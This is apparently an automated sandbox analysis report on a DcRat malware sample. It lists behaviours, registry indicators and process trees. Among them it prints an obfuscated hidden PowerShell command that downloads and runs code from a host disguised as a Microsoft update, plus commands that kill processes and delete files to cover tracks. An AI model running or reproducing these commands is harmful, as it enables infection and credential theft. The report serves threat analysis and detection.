dcrat | 278112b324b4baf0de15924dd94225df2579d2e5e23a16a270c11e55e5f7384f

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	4A1D.exe

Loads dropped DLL 3 IoCs

pid	Process
6024	rundll32.exe
3668	AppLaunch.exe
3668	AppLaunch.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 996 set thread context of 101796	996	8944.exe	100
PID 2888 set thread context of 2204	2888	3AE7.exe	134
PID 4764 set thread context of 2304	4764	3D98.exe	139
PID 1552 set thread context of 3668	1552	421D.exe	141

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\manifest.json	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\jquery-3.3.1.min.js	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\mode-ecb.js	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\pad-nopadding.js	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\background.js	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\content.js	2172.exe
File opened for modification	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\background.js	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\background.html	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\icon.png	2172.exe
File created	C:\Program Files\aieoplapobidheellikiicjfpamacpfd\js\aes.js	2172.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
101920	996	WerFault.exe	98
101928	102240	WerFault.exe	107
6232	6024	WerFault.exe	156
6588	3668	WerFault.exe	141
8860	8816	WerFault.exe	204

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AC9C.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AC9C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FBE6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AC9C.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FBE6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FBE6.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
8024	schtasks.exe
8892	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
6680	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2000	taskkill.exe
6564	taskkill.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	169	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2360	file.exe
2360	file.exe
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
968	Process not Found

Suspicious behavior: MapViewOfSection 64 IoCs

pid	Process
2360	file.exe
101984	AC9C.exe
102192	FBE6.exe
968	Process not Found
968	Process not Found
968	Process not Found
968	Process not Found
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
968	Process not Found
968	Process not Found
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
1548	explorer.exe
1548	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
1548	explorer.exe
1548	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
968	Process not Found
968	Process not Found
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
5252	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe
5252	explorer.exe
5252	explorer.exe
1548	explorer.exe
1548	explorer.exe
1548	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeDebugPrivilege	101796	AppLaunch.exe
Token: SeCreateTokenPrivilege	102280	2172.exe
Token: SeAssignPrimaryTokenPrivilege	102280	2172.exe
Token: SeLockMemoryPrivilege	102280	2172.exe
Token: SeIncreaseQuotaPrivilege	102280	2172.exe
Token: SeMachineAccountPrivilege	102280	2172.exe
Token: SeTcbPrivilege	102280	2172.exe
Token: SeSecurityPrivilege	102280	2172.exe
Token: SeTakeOwnershipPrivilege	102280	2172.exe
Token: SeLoadDriverPrivilege	102280	2172.exe
Token: SeSystemProfilePrivilege	102280	2172.exe
Token: SeSystemtimePrivilege	102280	2172.exe
Token: SeProfSingleProcessPrivilege	102280	2172.exe
Token: SeIncBasePriorityPrivilege	102280	2172.exe
Token: SeCreatePagefilePrivilege	102280	2172.exe
Token: SeCreatePermanentPrivilege	102280	2172.exe
Token: SeBackupPrivilege	102280	2172.exe
Token: SeRestorePrivilege	102280	2172.exe
Token: SeShutdownPrivilege	102280	2172.exe
Token: SeDebugPrivilege	102280	2172.exe
Token: SeAuditPrivilege	102280	2172.exe
Token: SeSystemEnvironmentPrivilege	102280	2172.exe
Token: SeChangeNotifyPrivilege	102280	2172.exe
Token: SeRemoteShutdownPrivilege	102280	2172.exe
Token: SeUndockPrivilege	102280	2172.exe
Token: SeSyncAgentPrivilege	102280	2172.exe
Token: SeEnableDelegationPrivilege	102280	2172.exe
Token: SeManageVolumePrivilege	102280	2172.exe
Token: SeImpersonatePrivilege	102280	2172.exe
Token: SeCreateGlobalPrivilege	102280	2172.exe
Token: 31	102280	2172.exe
Token: 32	102280	2172.exe
Token: 33	102280	2172.exe
Token: 34	102280	2172.exe
Token: 35	102280	2172.exe
Token: SeDebugPrivilege	2000	taskkill.exe
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found
Token: SeCreatePagefilePrivilege	968	Process not Found
Token: SeShutdownPrivilege	968	Process not Found

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
968	Process not Found

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe
2588	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
968	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 996	968	Process not Found	98
PID 968 wrote to memory of 996	968	Process not Found	98
PID 968 wrote to memory of 996	968	Process not Found	98
PID 996 wrote to memory of 101796	996	8944.exe	100
PID 996 wrote to memory of 101796	996	8944.exe	100
PID 996 wrote to memory of 101796	996	8944.exe	100
PID 996 wrote to memory of 101796	996	8944.exe	100
PID 996 wrote to memory of 101796	996	8944.exe	100
PID 968 wrote to memory of 101984	968	Process not Found	104
PID 968 wrote to memory of 101984	968	Process not Found	104
PID 968 wrote to memory of 101984	968	Process not Found	104
PID 968 wrote to memory of 102192	968	Process not Found	106
PID 968 wrote to memory of 102192	968	Process not Found	106
PID 968 wrote to memory of 102192	968	Process not Found	106
PID 968 wrote to memory of 102240	968	Process not Found	107
PID 968 wrote to memory of 102240	968	Process not Found	107
PID 968 wrote to memory of 102240	968	Process not Found	107
PID 968 wrote to memory of 102280	968	Process not Found	108
PID 968 wrote to memory of 102280	968	Process not Found	108
PID 968 wrote to memory of 102280	968	Process not Found	108
PID 102280 wrote to memory of 102392	102280	2172.exe	109
PID 102280 wrote to memory of 102392	102280	2172.exe	109
PID 102280 wrote to memory of 102392	102280	2172.exe	109
PID 102392 wrote to memory of 2000	102392	cmd.exe	111
PID 102392 wrote to memory of 2000	102392	cmd.exe	111
PID 102392 wrote to memory of 2000	102392	cmd.exe	111
PID 968 wrote to memory of 1664	968	Process not Found	114
PID 968 wrote to memory of 1664	968	Process not Found	114
PID 1664 wrote to memory of 2844	1664	cmd.exe	116
PID 1664 wrote to memory of 2844	1664	cmd.exe	116
PID 968 wrote to memory of 2888	968	Process not Found	117
PID 968 wrote to memory of 2888	968	Process not Found	117
PID 968 wrote to memory of 2888	968	Process not Found	117
PID 968 wrote to memory of 4764	968	Process not Found	119
PID 968 wrote to memory of 4764	968	Process not Found	119
PID 968 wrote to memory of 4764	968	Process not Found	119
PID 102280 wrote to memory of 2588	102280	2172.exe	121
PID 102280 wrote to memory of 2588	102280	2172.exe	121
PID 2588 wrote to memory of 2552	2588	chrome.exe	122
PID 2588 wrote to memory of 2552	2588	chrome.exe	122
PID 968 wrote to memory of 1552	968	Process not Found	123
PID 968 wrote to memory of 1552	968	Process not Found	123
PID 968 wrote to memory of 1552	968	Process not Found	123
PID 968 wrote to memory of 2232	968	Process not Found	125
PID 968 wrote to memory of 2232	968	Process not Found	125
PID 968 wrote to memory of 2232	968	Process not Found	125
PID 968 wrote to memory of 2232	968	Process not Found	125
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127
PID 2588 wrote to memory of 924	2588	chrome.exe	127

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2360

C:\Users\Admin\AppData\Local\Temp\8944.exe
C:\Users\Admin\AppData\Local\Temp\8944.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:101796
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 996 -s 98428
  2⤵
  - Program crash
  PID:101920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 996 -ip 996
1⤵
PID:101872

C:\Users\Admin\AppData\Local\Temp\AC9C.exe
C:\Users\Admin\AppData\Local\Temp\AC9C.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:101984

C:\Users\Admin\AppData\Local\Temp\FBE6.exe
C:\Users\Admin\AppData\Local\Temp\FBE6.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:102192

C:\Users\Admin\AppData\Local\Temp\1B95.exe
C:\Users\Admin\AppData\Local\Temp\1B95.exe
1⤵
- Executes dropped EXE
PID:102240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 102240 -s 272
  2⤵
  - Program crash
  PID:101928

C:\Users\Admin\AppData\Local\Temp\2172.exe
C:\Users\Admin\AppData\Local\Temp\2172.exe
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:102280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:102392
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffe94d44f50,0x7ffe94d44f60,0x7ffe94d44f70
    3⤵
    PID:2552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1648 /prefetch:2
    3⤵
    PID:924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2008 /prefetch:8
    3⤵
    PID:2156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2232 /prefetch:8
    3⤵
    PID:1484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2928 /prefetch:1
    3⤵
    PID:3012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3124 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:1
    3⤵
    PID:4580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:1
    3⤵
    PID:5200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:8
    3⤵
    PID:5420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:8
    3⤵
    PID:5560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4780 /prefetch:8
    3⤵
    PID:5568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 /prefetch:8
    3⤵
    PID:5800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4872 /prefetch:8
    3⤵
    PID:6476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5608 /prefetch:8
    3⤵
    PID:6616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4976 /prefetch:8
    3⤵
    PID:6692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3792 /prefetch:8
    3⤵
    PID:6748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4740 /prefetch:8
    3⤵
    PID:6792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,16264157659457464618,18058297615309926019,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:1
    3⤵
    PID:7268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 102240 -ip 102240
1⤵
PID:1460

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\374C.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  po""weR""sHelL -windowstyle Hidden -nO""p -c "iEx(New-Object Net.WEbclIent).DoWnLOadstRinG('http://microsoftdownload.ddns.net:8808/downloader/WinSecurityUpdate')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:5128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    - Blocklisted process makes network request
    PID:6164
  - - C:\Users\Admin\AppData\Roaming\client.exe
      "C:\Users\Admin\AppData\Roaming\client.exe"
      4⤵
      Executes dropped EXE
      PID:6828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    - Blocklisted process makes network request
    PID:6884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:7056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:7392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:7708
  - - C:\Users\Admin\AppData\Roaming\client.exe
      "C:\Users\Admin\AppData\Roaming\client.exe"
      4⤵
      PID:7972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:8124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -
    3⤵
    PID:8292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop
    3⤵
    PID:8388
  - - C:\Windows\system32\Taskmgr.exe
      "C:\Windows\system32\Taskmgr.exe"
      4⤵
      PID:8480

C:\Users\Admin\AppData\Local\Temp\3AE7.exe
C:\Users\Admin\AppData\Local\Temp\3AE7.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2888
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2204

C:\Users\Admin\AppData\Local\Temp\3D98.exe
C:\Users\Admin\AppData\Local\Temp\3D98.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4764
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2304

C:\Users\Admin\AppData\Local\Temp\421D.exe
C:\Users\Admin\AppData\Local\Temp\421D.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1552
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Loads dropped DLL
  - Checks processor information in registry
  PID:3668
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im AppLaunch.exe /f & timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & del C:\PrograData\*.dll & exit
    3⤵
    PID:6464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im AppLaunch.exe /f
      4⤵
      Kills process with taskkill
      PID:6564
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:6680
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 1984
    3⤵
    - Program crash
    PID:6588

C:\Windows\SysWOW64\explorer.exe
